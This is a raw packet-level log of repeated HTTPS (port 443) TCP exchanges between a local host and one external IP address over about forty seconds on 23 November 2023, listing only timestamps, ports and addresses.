Nov 23, 2023 01:11:26.896862030 CET	49802	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:26.900388002 CET	49802	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:26.900394917 CET	443	49802	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:26.900628090 CET	443	49802	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:26.904567957 CET	49802	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:26.904599905 CET	443	49802	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:26.904675961 CET	49802	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:28.031723976 CET	49803	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:28.031764030 CET	443	49803	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:28.031826973 CET	49803	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:28.032361984 CET	49803	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:28.032377958 CET	443	49803	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:28.285563946 CET	443	49803	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:28.285752058 CET	49803	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:28.287224054 CET	49803	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:28.287235975 CET	443	49803	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:28.287465096 CET	443	49803	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:28.289664030 CET	49803	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:28.289701939 CET	443	49803	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:28.289760113 CET	49803	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:29.407457113 CET	49804	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:29.407495022 CET	443	49804	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:29.407589912 CET	49804	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:29.408266068 CET	49804	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:29.408272982 CET	443	49804	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:29.661803007 CET	443	49804	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:29.661894083 CET	49804	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:29.663517952 CET	49804	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:29.663523912 CET	443	49804	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:29.663763046 CET	443	49804	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:29.666979074 CET	49804	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:29.667002916 CET	443	49804	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:29.667052031 CET	49804	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:30.782337904 CET	49805	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:30.782370090 CET	443	49805	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:30.782453060 CET	49805	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:30.782993078 CET	49805	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:30.783008099 CET	443	49805	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:31.035810947 CET	443	49805	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:31.036019087 CET	49805	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:31.038290024 CET	49805	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:31.038305044 CET	443	49805	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:31.038544893 CET	443	49805	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:31.042517900 CET	49805	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:31.042551994 CET	443	49805	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:31.042634010 CET	49805	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:32.157291889 CET	49806	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:32.157377005 CET	443	49806	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:32.157469034 CET	49806	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:32.158054113 CET	49806	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:32.158091068 CET	443	49806	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:32.414161921 CET	443	49806	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:32.414278030 CET	49806	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:32.415868998 CET	49806	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:32.415895939 CET	443	49806	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:32.416145086 CET	443	49806	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:32.418306112 CET	49806	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:32.418355942 CET	443	49806	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:32.418425083 CET	49806	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:33.532094002 CET	49807	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:33.532176971 CET	443	49807	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:33.532335997 CET	49807	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:33.532969952 CET	49807	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:33.533006907 CET	443	49807	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:33.786112070 CET	443	49807	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:33.786340952 CET	49807	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:33.787797928 CET	49807	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:33.787827015 CET	443	49807	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:33.788058043 CET	443	49807	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:33.790154934 CET	49807	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:33.790201902 CET	443	49807	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:33.790275097 CET	49807	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:36.031760931 CET	49808	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:36.031795979 CET	443	49808	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:36.031871080 CET	49808	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:36.033251047 CET	49808	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:36.033263922 CET	443	49808	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:36.289658070 CET	443	49808	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:36.289793968 CET	49808	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:36.291629076 CET	49808	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:36.291637897 CET	443	49808	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:36.291879892 CET	443	49808	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:36.295295954 CET	49808	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:36.295332909 CET	443	49808	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:36.295409918 CET	49808	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:37.423316002 CET	49809	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:37.423346043 CET	443	49809	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:37.423417091 CET	49809	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:37.423970938 CET	49809	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:37.423978090 CET	443	49809	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:37.678080082 CET	443	49809	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:37.678179979 CET	49809	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:37.680258989 CET	49809	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:37.680264950 CET	443	49809	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:37.680485010 CET	443	49809	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:37.683677912 CET	49809	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:37.683701992 CET	443	49809	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:37.683764935 CET	49809	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:40.322264910 CET	49810	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:40.322338104 CET	443	49810	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:40.322442055 CET	49810	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:40.323461056 CET	49810	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:40.323493004 CET	443	49810	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:40.576540947 CET	443	49810	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:40.576767921 CET	49810	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:40.579041004 CET	49810	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:40.579060078 CET	443	49810	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:40.579310894 CET	443	49810	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:40.583286047 CET	49810	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:40.583333969 CET	443	49810	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:40.583405018 CET	49810	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:41.704144001 CET	49811	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:41.704232931 CET	443	49811	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:41.704319954 CET	49811	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:41.704947948 CET	49811	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:41.704987049 CET	443	49811	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:41.954659939 CET	443	49811	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:41.954761028 CET	49811	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:41.956898928 CET	49811	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:41.956919909 CET	443	49811	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:41.957137108 CET	443	49811	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:41.960947990 CET	49811	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:41.960994959 CET	443	49811	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:41.961072922 CET	49811	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:43.078599930 CET	49812	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:43.078635931 CET	443	49812	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:43.078711033 CET	49812	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:43.079782963 CET	49812	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:43.079797029 CET	443	49812	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:43.329583883 CET	443	49812	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:43.329708099 CET	49812	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:43.331584930 CET	49812	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:43.331595898 CET	443	49812	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:43.331845045 CET	443	49812	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:43.335798025 CET	49812	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:43.335834026 CET	443	49812	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:43.335899115 CET	49812	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:44.453783989 CET	49813	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:44.453815937 CET	443	49813	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:44.453896999 CET	49813	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:44.455133915 CET	49813	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:44.455144882 CET	443	49813	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:44.711715937 CET	443	49813	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:44.711818933 CET	49813	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:44.713455915 CET	49813	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:44.713463068 CET	443	49813	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:44.713696957 CET	443	49813	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:44.716599941 CET	49813	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:44.716631889 CET	443	49813	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:44.716695070 CET	49813	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:45.844367027 CET	49814	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:45.844407082 CET	443	49814	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:45.844469070 CET	49814	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:45.845046997 CET	49814	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:45.845062971 CET	443	49814	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:46.098891020 CET	443	49814	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:46.098984957 CET	49814	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:46.101181984 CET	49814	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:46.101188898 CET	443	49814	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:46.101445913 CET	443	49814	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:46.104840040 CET	49814	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:46.104873896 CET	443	49814	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:46.104937077 CET	49814	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:47.219341040 CET	49815	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:47.219374895 CET	443	49815	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:47.219515085 CET	49815	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:47.220041990 CET	49815	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:47.220053911 CET	443	49815	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:47.470082045 CET	443	49815	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:47.470165968 CET	49815	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:47.471951962 CET	49815	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:47.471959114 CET	443	49815	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:47.472182035 CET	443	49815	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:47.475815058 CET	49815	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:47.475845098 CET	443	49815	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:47.475929022 CET	49815	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:48.594511032 CET	49816	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:48.594609022 CET	443	49816	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:48.594696999 CET	49816	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:48.595447063 CET	49816	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:48.595484972 CET	443	49816	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:48.848529100 CET	443	49816	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:48.848617077 CET	49816	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:48.850567102 CET	49816	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:48.850588083 CET	443	49816	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:48.850843906 CET	443	49816	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:48.854166031 CET	49816	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:48.854213953 CET	443	49816	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:48.854284048 CET	49816	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:49.968782902 CET	49817	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:49.968875885 CET	443	49817	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:49.968960047 CET	49817	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:49.969531059 CET	49817	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:49.969567060 CET	443	49817	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:50.226756096 CET	443	49817	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:50.226854086 CET	49817	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:50.229208946 CET	49817	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:50.229228973 CET	443	49817	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:50.229491949 CET	443	49817	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:50.233354092 CET	49817	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:50.233402014 CET	443	49817	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:50.233465910 CET	49817	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:51.359298944 CET	49818	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:51.359332085 CET	443	49818	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:51.359405041 CET	49818	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:51.359966040 CET	49818	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:51.359975100 CET	443	49818	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:51.609282970 CET	443	49818	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:51.609373093 CET	49818	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:51.611651897 CET	49818	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:51.611655951 CET	443	49818	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:51.611852884 CET	443	49818	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:51.615091085 CET	49818	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:51.615109921 CET	443	49818	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:51.615169048 CET	49818	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:52.734935045 CET	49819	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:52.734971046 CET	443	49819	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:52.735033989 CET	49819	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:52.735629082 CET	49819	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:52.735644102 CET	443	49819	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:52.988322973 CET	443	49819	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:52.988424063 CET	49819	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:52.990046978 CET	49819	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:52.990053892 CET	443	49819	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:52.990261078 CET	443	49819	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:52.993046045 CET	49819	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:52.993081093 CET	443	49819	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:52.993140936 CET	49819	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:54.110642910 CET	49820	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:54.110676050 CET	443	49820	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:54.110747099 CET	49820	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:54.112010956 CET	49820	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:54.112021923 CET	443	49820	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:54.361898899 CET	443	49820	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:54.362001896 CET	49820	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:54.363836050 CET	49820	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:54.363842010 CET	443	49820	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:54.364046097 CET	443	49820	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:54.367964029 CET	49820	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:54.367993116 CET	443	49820	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:54.368060112 CET	49820	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:55.491189957 CET	49821	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:55.491250038 CET	443	49821	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:55.491329908 CET	49821	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:55.491827011 CET	49821	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:55.491844893 CET	443	49821	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:55.744307041 CET	443	49821	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:55.744370937 CET	49821	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:55.745820999 CET	49821	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:55.745831013 CET	443	49821	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:55.746040106 CET	443	49821	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:55.748102903 CET	49821	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:55.748137951 CET	443	49821	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:55.748191118 CET	49821	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:57.765965939 CET	49822	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:57.765995026 CET	443	49822	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:57.766060114 CET	49822	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:57.766663074 CET	49822	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:57.766673088 CET	443	49822	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:58.019428015 CET	443	49822	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:58.019526958 CET	49822	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:58.021420956 CET	49822	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:58.021426916 CET	443	49822	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:58.021632910 CET	443	49822	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:58.024817944 CET	49822	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:58.024852037 CET	443	49822	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:58.024918079 CET	49822	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:59.141499996 CET	49823	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:59.141536951 CET	443	49823	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:59.141673088 CET	49823	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:59.142702103 CET	49823	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:59.142716885 CET	443	49823	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:59.395890951 CET	443	49823	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:59.396023035 CET	49823	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:59.398233891 CET	49823	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:59.398245096 CET	443	49823	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:59.398469925 CET	443	49823	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:59.402179003 CET	49823	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:11:59.402215004 CET	443	49823	148.72.177.212	192.168.2.5
Nov 23, 2023 01:11:59.402301073 CET	49823	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:00.516514063 CET	49824	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:00.516617060 CET	443	49824	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:00.516707897 CET	49824	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:00.517767906 CET	49824	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:00.517805099 CET	443	49824	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:00.768347025 CET	443	49824	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:00.768440962 CET	49824	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:00.770711899 CET	49824	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:00.770735025 CET	443	49824	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:00.770946026 CET	443	49824	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:00.774662971 CET	49824	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:00.774710894 CET	443	49824	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:00.774776936 CET	49824	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:01.891747952 CET	49825	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:01.891843081 CET	443	49825	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:01.891918898 CET	49825	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:01.892389059 CET	49825	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:01.892424107 CET	443	49825	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:02.142144918 CET	443	49825	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:02.142297029 CET	49825	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:02.144167900 CET	49825	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:02.144191027 CET	443	49825	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:02.144434929 CET	443	49825	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:02.159914970 CET	49825	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:02.159965992 CET	443	49825	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:02.160046101 CET	49825	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:03.281656981 CET	49826	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:03.281694889 CET	443	49826	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:03.281791925 CET	49826	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:03.282752991 CET	49826	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:03.282764912 CET	443	49826	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:03.538012981 CET	443	49826	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:03.538121939 CET	49826	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:03.540292978 CET	49826	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:03.540298939 CET	443	49826	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:03.540491104 CET	443	49826	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:03.544209957 CET	49826	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:03.544231892 CET	443	49826	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:03.544296980 CET	49826	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:04.673116922 CET	49827	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:04.673157930 CET	443	49827	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:04.673223972 CET	49827	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:04.673858881 CET	49827	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:04.673877954 CET	443	49827	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:04.926315069 CET	443	49827	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:04.926388025 CET	49827	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:04.930274963 CET	49827	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:04.930283070 CET	443	49827	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:04.930495024 CET	443	49827	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:04.934356928 CET	49827	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:04.934396029 CET	443	49827	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:04.934463978 CET	49827	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:06.047175884 CET	49828	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:06.047208071 CET	443	49828	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:06.047277927 CET	49828	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:06.048141956 CET	49828	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:06.048154116 CET	443	49828	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:06.300715923 CET	443	49828	148.72.177.212	192.168.2.5
Nov 23, 2023 01:12:06.300816059 CET	49828	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:12:06.303006887 CET	49828	443	192.168.2.5	148.72.177.212
